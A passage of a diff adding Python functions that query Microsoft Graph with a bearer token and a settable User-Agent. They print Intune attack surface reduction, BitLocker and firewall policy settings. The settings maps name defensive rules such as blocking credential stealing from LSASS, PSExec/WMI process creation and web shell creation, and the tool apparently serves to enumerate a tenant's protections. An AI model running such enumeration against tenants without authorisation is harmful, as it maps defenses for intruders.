choice_setting_value.get('value', '') + setting_id = child.get('settingDefinitionId', '') + if setting_id in settings_map: + description = settings_map[setting_id]['description'] + value_suffix = value[len(setting_id):].lstrip('_') + + if value_suffix in settings_map[setting_id]['values']: + mapped_value = settings_map[setting_id]['values'][value_suffix] + elif value_suffix == 'block': + mapped_value = 'BLOCK' + elif value_suffix == 'allow': + mapped_value = 'ALLOW' + else: + mapped_value = value_suffix.upper() + print(f"{mapped_value:<10} : {description}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-asrpolicyrules +def display_asrpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") + return + + print_yellow("[*] Display-ASRPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", + "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", + "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", + "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", + "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", + "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", + "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", + "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", + "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", + "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", + "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", + "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", + "blockwebshellcreationforservers": "Block web shell creation for servers", + "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", + "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", + "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", + "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + + if "value" in response_json: + for item in response_json["value"]: + setting_instance = item.get("settingInstance", {}) + group_settings = setting_instance.get("groupSettingCollectionValue", []) + + for group in group_settings: + children = group.get("children", []) + + for child in children: + choice_setting_value = child.get("choiceSettingValue", {}) + value = choice_setting_value.get("value", "") + + if value: + parts = value.split("_") + if len(parts) >= 2: + action = parts[-1].upper() + rule_name = "_".join(parts[:-1]) + rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") + readable_rule = settings_map.get(rule_name, rule_name) + print(f"{action:<6}: {readable_rule}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-diskencryptionpolicyrules +def display_diskencryptionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") + return + + print_yellow("[*] Display-DiskEncryptionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", + "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", + "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", + "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", + "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", + "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", + "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", + "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", + "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", + "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", + "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", + "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", + "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", + "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", + "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", + "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", + "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", + "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", + "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: + value_field = setting['settingInstance']['choiceSettingValue'].get('value') + if value_field: + cleaned_value = value_field.rstrip('_01') + if cleaned_value in settings_map: + setting_text = settings_map[cleaned_value] + if value_field.endswith('_1'): + print(f"ENABLED : {setting_text}") + elif value_field.endswith('_0'): + print(f"DISABLED : {setting_text}") + else: + print(f"{setting_text} - {value_field}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-firewallconfigpolicyrules - firewall config policy +def display_firewallconfigpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") + return + + print_yellow("[*] Display-FirewallConfigPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "vendor_msft_firewall_mdmstore_global_crlcheck": { + "displayName": "Certificate revocation list verification", + "options": { + "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", + "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", + "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", + } + }, + "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { + "displayName": "Disable Stateful Ftp", + "options": { + "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", + "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", + } + }, + "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { + "displayName": "Enable Packet Queue", + "options": { + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", + "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", + } + }, + "vendor_msft_firewall_mdmstore_global_ipsecexempt": { + "displayName": "IPsec Exceptions", + "options": { + "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", + "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", + } + }, + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { + "displayName": "Opportunistically Match Auth Set Per KM", + "options": { + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", + "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { + "displayName": "Preshared Key Encoding", + "options": { + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", + "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", + } + }, + "vendor_msft_firewall_mdmstore_global_saidletime": { + "displayName": "Security association idle time", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_domainprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_domainprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall": { + "displayName": "Enable Domain Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_domainprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_domainprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Domain Profile", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_domainprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_domainprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall": { + "displayName": "Enable Private Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_privateprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Private Profile", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_privateprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_privateprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_privateprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_privateprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_privateprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_privateprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_privateprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_privateprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast": { + "displayName": "Disable Unicast Responses To Multicast Broadcast", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", + "vendor_msft_firewall_mdmstore_publicprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge": { + "displayName": "Global Ports Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_false": "GlobalPortsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_globalportsallowuserprefmerge_true": "GlobalPortsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption": { + "displayName": "Disable Stealth Mode Ipsec Secured Packet Exemption", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_false": "FALSE", + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmodeipsecsecuredpacketexemption_true": "TRUE", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_shielded": { + "displayName": "Shielded", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_shielded_false": "Shielding Off", + "vendor_msft_firewall_mdmstore_publicprofile_shielded_true": "Shielding On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge": { + "displayName": "Allow Local Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction": { + "displayName": "Default Outbound Action", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_0": "Allow Outbound By Default", + "vendor_msft_firewall_mdmstore_publicprofile_defaultoutboundaction_1": "Block Outbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules": { + "displayName": "Enable Log Ignored Rules", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_false": "Disable Logging Of Ignored Rules", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogignoredrules_true": "Enable Logging Of Ignored Rules", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications": { + "displayName": "Disable Inbound Notifications", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_false": "Firewall May Display Notification", + "vendor_msft_firewall_mdmstore_publicprofile_disableinboundnotifications_true": "Firewall Must Not Display Notification", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections": { + "displayName": "Enable Log Success Connections", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_false": "Disable Logging Of Successful Connections", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogsuccessconnections_true": "Enable Logging Of Successful Connections", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge": { + "displayName": "Allow Local Ipsec Policy Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge": { + "displayName": "Auth Apps Allow User Pref Merge", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", + "vendor_msft_firewall_mdmstore_publicprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_logfilepath": { + "displayName": "Log File Path", + "options": {} + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall": { + "displayName": "Enable Public Network Firewall", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_false": "Disable Firewall", + "vendor_msft_firewall_mdmstore_publicprofile_enablefirewall_true": "Enable Firewall", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_logmaxfilesize": { + "displayName": "Log Max File Size", + "options": {} + }, + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets": { + "displayName": "Enable Log Dropped Packets", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", + "vendor_msft_firewall_mdmstore_publicprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction": { + "displayName": "Default Inbound Action for Public Profile", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_0": "Allow Inbound By Default", + "vendor_msft_firewall_mdmstore_publicprofile_defaultinboundaction_1": "Block Inbound By Default", + } + }, + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode": { + "displayName": "Disable Stealth Mode", + "options": { + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_false": "Use Stealth Mode", + "vendor_msft_firewall_mdmstore_publicprofile_disablestealthmode_true": "Disable Stealth Mode", + } + }, + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection": { + "displayName": "Object Access Audit Filtering Platform Connection", + "options": { + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_0": "Off/None", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_1": "Success", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_2": "Failure", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformconnection_3": "Success+Failure", + } + }, + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop": { + "displayName": "Object Access Audit Filtering Platform Packet Drop", + "options": { + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_0": "Off/None", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_1": "Success", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_2": "Failure", + "device_vendor_msft_policy_config_audit_objectaccess_auditfilteringplatformpacketdrop_3": "Success+Failure", + } + }, + } + + def process_setting(setting, indent=""): + setting_instance = setting.get('settingInstance', {}) + setting_id = setting_instance.get('settingDefinitionId', '') + + if setting_id in settings_map: + display_name = settings_map[setting_id]['displayName'] + print(f"{indent}{display_name} : ", end="") + else: + print(f"{indent}Setting: {setting_id} : ", end="") + if '@odata.type' in setting_instance: + setting_type = setting_instance['@odata.type'].split('.')[-1] + + if setting_type == 'deviceManagementConfigurationChoiceSettingInstance': + process_choice_setting(setting_instance, indent) + elif setting_type == 'deviceManagementConfigurationSimpleSettingInstance': + process_simple_setting(setting_instance, indent) + elif setting_type == 'deviceManagementConfigurationChoiceSettingCollectionInstance': + process_choice_collection_setting(setting_instance, indent) + else: + print(f"Unsupported setting type: {setting_type}") + + def process_choice_setting(setting_instance, indent): + choice_value = setting_instance.get('choiceSettingValue', {}) + value = choice_value.get('value', '') + + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map and value in settings_map[setting_id]['options']: + print(f"{settings_map[setting_id]['options'][value]}") + else: + print(f"{value}") + + for child in choice_value.get('children', []): + process_setting({'settingInstance': child}, indent + " ") + + def process_simple_setting(setting_instance, indent): + simple_value = setting_instance.get('simpleSettingValue', {}) + value = simple_value.get('value', '') + print(f"{value}") + + def process_choice_collection_setting(setting_instance, indent): + choice_collection = setting_instance.get('choiceSettingCollectionValue', []) + values = [] + for choice in choice_collection: + value = choice.get('value', '') + + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map and value in settings_map[setting_id]['options']: + values.append(settings_map[setting_id]['options'][value]) + else: + values.append(value) + print(", ".join(values)) + + def print_profile_settings(response_json, profile_type): + print(f"\n{profile_type} Profile Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if profile_type.lower() in setting_id.lower(): + process_setting(setting) + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + + print("\nGlobal Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if 'global' in setting_id.lower(): + process_setting(setting) + + print("\nAudit Settings") + print("-" * 80) + for setting in response_json.get('value', []): + setting_id = setting.get('settingInstance', {}).get('settingDefinitionId', '') + if 'audit' in setting_id.lower(): + process_setting(setting) + + print_profile_settings(response_json, 